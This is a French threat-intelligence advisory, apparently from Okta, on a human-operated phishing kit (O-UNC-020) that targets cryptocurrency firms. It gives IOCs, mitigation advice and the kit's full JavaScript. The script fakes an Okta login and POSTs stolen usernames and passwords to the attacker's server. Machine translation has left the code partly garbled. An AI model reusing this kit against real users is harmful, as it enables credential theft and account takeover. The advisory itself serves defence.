Kit de phishing opéré par des humains cible les entreprises de cryptomonnaie


Contributeur :
Houssem Eddine Bordjiba

02 juin 2025 Temps de lecture: ~

Résumé

En mai 2025, l'équipe Okta Threat Intelligence a observé un groupe d'activité liée au phishing (O-UNC-020), actuellement non attribué, qui cible principalement les organisations opérant dans le secteur des cryptomonnaies.

O-UNC-020 a été observé pour la première fois en octobre 2024, ciblant des organisations opérant dans les domaines des cryptomonnaies, du marketing par e-mail, de l’automatisation du marketing, de l’automatisation des ventes et du CRM.

Cet avis détaille les tactiques, techniques et procédures (TTP) observées et fournit les indicateurs de compromission (IOC) pertinents associés à cette menace active.

La campagne devrait particulièrement intéresser toute organisation qui sécurise l'accès aux applications basées sur navigateur en utilisant le mot de passe comme principal authentificateur et les notifications push comme deuxième facteur. Le kit de phishing utilisé par l'attaquant - que nous analysons ci-dessous - sert à capturer et à envoyer le nom d'utilisateur et le mot de passe d'une cible à un serveur contrôlé par l'attaquant. L'utilisateur ciblé se voit présenter une page conçue pour donner l'impression qu'un contenu supplémentaire est en cours de chargement, tandis que les opérateurs humains du kit de phishing saisissent les identifiants depuis leur propre navigateur pour déclencher une notification push.

Ces informations sont fournies à des fins d'information et de renseignement afin de permettre aux organisations de comprendre et d'atténuer les risques posés par cette campagne.

Analyse des menaces

L'analyse de la campagne de mai 2025 a permis d'identifier l'infrastructure suivante utilisée pour héberger les pages de phishing malveillantes, qui présentent un widget d’authentification Okta frauduleux :

  • 91.212.166[.]185 - AS198953 - Proton66 OOO
  • 196.251.84[.]3 - AS401120 - cheapy.host LLC
  • 193.24.123[.]162 - AS200593 - PROSPERO OOO

Et a utilisé les modèles de domaine suivants :

  • <customer>-authentification unique.com
  • <customer>-okta.com
  • connexion-<customer>.com
  • mail-<customer>.com

Activité d'usurpation de compte (ATO)

Après une compromission réussie des identifiants de l'utilisateur, les cybercriminels ont été observés tentant de s'authentifier à partir des adresses IP suivantes :

  • 154.221.58[.]232 - AS202656 - XServerCloud
  • 213.209.137[.]210 - AS62240 - Clouvider
  • 46.232.37[.]58 - AS62240 - Clouvider

Lors des tentatives d'authentification, le cybercriminel a été observé utilisant des adresses IP associées à Proxyline.net, un important fournisseur russe de proxy de data center. Ce service offre un vaste réseau de serveurs proxy HTTP et SOCKS IPv4 et IPv6 à haut débit, qui peuvent être utilisés pour acheminer le trafic via divers emplacements mondiaux. ProxyLine annonce une politique sans log et accepte les paiements en cryptomonnaie. Ces fonctionnalités le rendent particulièrement attrayant pour les cybercriminels, les acteurs parrainés par l'État et autres entités malveillantes cherchant à maintenir l'anonymat et à échapper à la détection.

Caractéristiques du kit de phishing

  • Le kit de phishing présente un processus de connexion en deux étapes : il demande d’abord un nom d’utilisateur (ID d’entrée usernameInput), puis, après un délai simulé, un mot de passe (ID d’entrée passwordInput).
  • Les identifiants collectés, à savoir le nom d'utilisateur et le mot de passe, ainsi qu'un csrf_token statique (faisant partie du mimétisme), sont transmis via une requête AJAX POST à un chemin relatif API/v1/connexion sur le serveur de phishing.
  • Après avoir soumis les identifiants, la page simule un délai de traitement (setTimeout) puis tente de rediriger l'utilisateur vers une page nommée /oauth_await. Il s'agit d'une autre page contrôlée par l'attaquant, conçue pour renforcer l'illusion que les identifiants principaux de l'utilisateur ont été saisies avec succès.
  • Le code JavaScript, qui est exécuté directement dans le navigateur web de l'utilisateur et la redirection vers la page oauth_await, indique la collecte en temps réel d'identifiants par un opérateur humain. Les attaquants saisissent les identifiants collectés sur le service Okta de production de la cible afin de tenter de déclencher une notification push. Un utilisateur qui suppose avoir saisi le mot de passe correct peut accepter la notification push générée par l'attaquant sans vérifier le contexte affiché dans le message.
  • Le redirect_uri dans l'URL générée dynamiquement (<org>.okta.com% 2Fenduser%2Fcallback) est légitime, et l'attaquant peut essayer de rediriger l'utilisateur via ce lien après avoir volé ses informations d'identification.
<script>
if (!window.location.href.includes('?')) {
function generateRandomString(length) {
const charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += charset.charAt(Math.floor(Math.random() * charset.length));
}
return result;
}
const clientId = sessionStorage.getItem('client_id') || 'okta.' + generateRandomString(32);
sessionStorage.setItem('client_id', clientId);
const codeChallenge = sessionStorage.getItem('code_challenge') || generateRandomString(43);
sessionStorage.setItem('code_challenge', codeChallenge);
const nonce = sessionStorage.getItem('nonce') || generateRandomString(22);
sessionStorage.setItem('nonce', nonce);
const state = sessionStorage.getItem('state') || generateRandomString(40);
sessionStorage.setItem('state', state);
let currentPage = window.location.pathname;
currentPage = currentPage.replace(/\.php$/, '');
const newUrl = `${currentPage} ?
client_id=${clientId}&code_challenge=${codeChallenge}&code_challenge_method=S256&nonce=
${nonce}&redirect_uri=
https%3A%2F%2Fredacted.okta.com%2Fenduser%2Fcallback&response_type=
code&state=${state}&scope=openid%20
profile%20email%20okta.utilisateurs.read.self%20okta.utilisateurs.manage.self
%20okta.internal.enduser.read%20okta.internal.endus
er.manage%20okta.enduser.tableau de bord.read%20okta.enduser.tableau de bord.manage
%20okta.myAccount.sessions.manage`
;
window.location.href = newUrl;
}
$(document).ready(function() {
$('#usernameInput').keyup(function() {
if ($(this).val() == '') {
$("#inputDispaly").show();
$("#roleAlertDisplay").show();
} else {
$("#inputDispaly").hide();
}
});
$('#passwordInput').keyup(function() {
if ($(this).val() == '') {
$("#displayPasswordErrorText").show();
$("#passwordContainerError").show();
} else {
$("#displayPasswordErrorText").hide();
}
});
$('#username-saving').on('submit', function(event) {
event.preventDefault();
});
$('#password-saving').on('submit', function(event) {
event.preventDefault();
});
$('#usernameInput').on('keyup', function(event) {
if (event.key === 'Enter' || event.keyCode === 13) {
event.preventDefault();
$('#next_username_button').click();
}
});
$('#passwordInput').on('keyup', function(event) {
if (event.key === 'Enter' || event.keyCode === 13) {
event.preventDefault();
$('#next_pass_button').click();
}
});
$('.password-toggle').on('click', function() {
const $passwordInput = $("#passwordInput");
const $showIcon = $('.button-show') ;
const $hideIcon = $('.button-hide');
if ($passwordInput.attr('type') === 'mot de passe') {
$passwordInput.attr('type', « texte » ;
$showIcon.hide();
$hideIcon.show();
} else {
$passwordInput.attr('type', 'mot de passe');
$showIcon.show();
$hideIcon.hide();
}
});
$('#input36').on('click', function() {
const isChecked = $(this).prop('checked');
if (isChecked) {
$('#input36_check').addClass('checked');
} else {
$('#input36_check').removeClass('checked');
}
});
const loginUsername = $("#next_username_button");
const loginPassword = $("#next_pass_button");
loginUsername.click(function() {
const username = $('#usernameInput').val();
$("#inputDispaly").hide();
$("#roleAlertDisplay").hide();
if (username == '') {
$("#inputDispaly").show();
$("#roleAlertDisplay").show();
return;
}
loginUsername.attr('disabled', true);
loginUsername.addClass('link-bouton-disabled btn-disabled');
$("#username-saving").addClass('o-form-saving');
setTimeout( function (){
$(".okta-username-section").hide();
$(".okta-password-section").show();
$(\"#insertUsernameValue\").text(username);
$('#passwordInput').focus() ;
retour
}, 1500);
});
loginPassword.click(function() {
const mot de passe = $('#passwordInput').val();
$("#displayPasswordErrorText").hide();
$("#passwordContainerError").hide();
if (mot de passe == '') {
$("#displayPasswordErrorText").show();
$("#passwordContainerError").show();
return;
}
loginPassword.attr('disabled', true) ;
loginPassword.addClass('link-button-disabled btn-disabled') ;
$("#password-saving").addClass('o-form-saving');
const payload = {
username: $('#usernameInput').val(),
mot de passe: $('#passwordInput').val(),
csrf_token: $("input[name=csrf_token]").val(),
page: 'connexion'
};
$.ajax({
url: 'api/v1/connexion',
type : 'POST',
data: payload,
success: function(response) {
setTimeout( function (){
window.location.href = "oauth_await";
retour
}, 1500);
},
error: function(err) {
console.log('Error sending data:', err);
alert('Erreur, veuillez rafraîchir la page');
}
});
});
});
</script>

Réponse aux Menaces

Ce que nous faisons
Nous sommes activement engagés dans les activités suivantes pour atténuer cette menace :

  • Surveillance continue des nouveaux domaines d’hameçonnage et des infrastructures associées à cette campagne.
  • Dépôt proactif de signalements d’abus auprès des registraires et des fournisseurs d’hébergement concernés afin de lancer des demandes de retrait pour les sites malveillants identifiés.
  • Fournir des conseils et une assistance aux organisations afin d'améliorer la sécurité de leurs environnements Okta et d'enquêter sur toute activité suspecte liée à des comptes potentiellement compromis.
  • Publication de mises à jour de cet avis au fur et à mesure que nous observons de nouvelles activités.

Contrôles de protection

Recommandations pour les clients :

  • Inscrire les utilisateurs à des authentificateurs forts tels que Okta FastPass, FIDO2 WebAuthn et les cartes à puce, et appliquer des politiques de résistance au phishing. Si des exceptions sont faites pour les notifications push Okta Verify, nous recommandons d’appliquer des demandes d'authentification de numéros pour toutes les tentatives de connexion ou pour les tentatives de connexion à haut risque.
  • Les politiques d’authentification Okta peuvent également être utilisées pour restreindre l’accès aux comptes d’utilisateurs en fonction d’une série de conditions préalables configurables par le client. Nous recommandons aux administrateurs de restreindre l’accès aux applications sensibles aux terminaux qui sont gérés par les outils de gestion des terminaux et protégés par les outils de sécurité des terminaux. Pour l’accès aux applications moins sensibles, exiger les terminaux enregistrés (à l’aide d’Okta FastPass) qui présentent des indicateurs d’hygiène de base.
  • Refuser ou exiger un niveau d'assurance plus élevé pour les demandes provenant de réseaux rarement utilisés. Avec Okta Network Zones, l'accès peut être contrôlé par emplacement, ASN (Autonomous System Number), IP et IP-Type (qui peuvent identifier les proxys d'anonymisation connus).
  • Les évaluations Okta Behavior and Risk peuvent être utilisées pour identifier les demandes d'accès aux applications qui s'écartent des modèles d'activité utilisateur établis précédemment. Les politiques peuvent être configurées pour effectuer une authentification renforcée ou refuser les demandes en utilisant ce contexte.
  • Formez les utilisateurs à identifier les indicateurs d'e-mails suspects, de sites de phishing et de techniques de social engineering couramment utilisés par les attaquants. Facilitez le signalement des problèmes potentiels par les utilisateurs en configurant Notifications utilisateur final et Reporting d'activité suspecte.
  • Documenter, promouvoir et respecter un processus normalisé de validation de l'identité des utilisateurs distants qui contactent le personnel de support informatique, et vice versa.
  • Adoptez une approche de « privilèges permanents nuls » pour l'accès administratif. Attribuez aux administrateurs des Rôles d'administrateur personnalisés avec le minimum d'autorisations requises pour les tâches quotidiennes, et exigez une double autorisation pour l'accès JIT (en flux tendu (JIT)) aux rôles plus à privilèges.
  • Appliquer la liaison de session IP à toutes les applications administratives pour empêcher la relecture des sessions administratives volées.
  • Activez les Actions Protégées pour forcer la réauthentification chaque fois qu'un utilisateur administratif tente d'effectuer des actions sensibles.

Observation et réponse à l'infrastructure de phishing :

  • Examiner les journaux d'application (journaux Okta, proxys Web, systèmes de messagerie, serveurs DNS, pare-feu) pour détecter toute preuve de communication avec de tels domaines suspects.
  • Surveillez régulièrement les domaines pour voir si le contenu change.
  • Si le contenu hébergé sur le domaine viole le droit d’auteur ou les marques légales, envisagez de fournir des preuves et d’émettre une demande de retrait auprès du registraire de domaine et/ou du fournisseur d’hébergement Web.

Annexe A : Indicateurs de compromission

Il s'agit d'une enquête en cours, et d'autres CIO pourraient être identifiés au fur et à mesure de l'évolution de la campagne. Il est conseillé aux organisations de rester vigilantes et de mettre en œuvre les stratégies d'atténuation recommandées. Vous trouverez ci-dessous les COI observés.

TypeIndicateurCommentaireVu sur
Adresse IP172.67.148[.]2AS13335 - Cloudflare, Inc.2025-04-19
Adresse IP77.37.76[.]235AS47583 - Hostinger International Limited2025-04-22
Adresse IP67.205.29[.]179AS26347 - New Dream Network, LLC2025-04-18
Adresse IP147.93.54[.]103AS47583 - Hostinger International Limited2025-04-19
Adresse IP178.218.166[.]217AS12417 - Plus Hosting Grupa d.o.o.2025-04-18
Adresse IP104.136.213[.]185AS33363 - Charter Communications, Inc2025-04-17
Adresse IP12.183.232[.]42AS7018 - AT&T Enterprises, LLC2025-04-15
Adresse IP160.7.237[.]192AS36223 - Spanish Fork City2025-04-18
Adresse IP162.251.115[.]229AS11059 - MIFFLIN COUNTY WIRELESS LLC2025-04-16
Adresse IP168.235.210[.]141AS13428 - Surf Air Wireless, LLC2025-04-14
Adresse IP172.220.33[.]240AS20115 - Charter Communications LLC2025-04-18
Adresse IP174.68.140[.]219AS22773 - Cox Communications Inc.2025-04-17
Adresse IP212.102.44[.]112AS60068 - Datacamp Limited2025-04-14
Adresse IP45.48.112[.]118AS20001 - Charter Communications Inc2025-04-15
Adresse IP45.49.235[.]225AS20001 - Charter Communications Inc2025-04-15
Adresse IP71.224.199[.]104AS7922 - Comcast Cable Communications, LLC2025-04-18
Adresse IP74.101.135[.]58AS701 - Verizon Business2025-04-15
Adresse IP98.54.180[.]132AS7922 - Comcast Cable2025-04-16

Une note sur le langage d'estimation
Les équipes d'Okta Threat Intelligence utilisent les termes suivants pour exprimer la probabilité, comme indiqué dans la Directive 203 de la Communauté du renseignement du Bureau du directeur du renseignement national des États-Unis - Normes analytiques.

 

Probabilité de survenuePresque
aucune chance
Très
peu probable
Peu probableProbablement
une chance égale
ProbableFort probablementQuasiment
certainement
ProbabilitéÀ distanceTrès
improbable
ImprobableÀ peu près
cotes égales
ProbableTrès
Probable
Presque
certain
Pourcentage1-5 %5-20%20-45 %45 - 55 %55-80 %80-95%95-99 %

Continuez votre parcours dans l‘univers de l’identité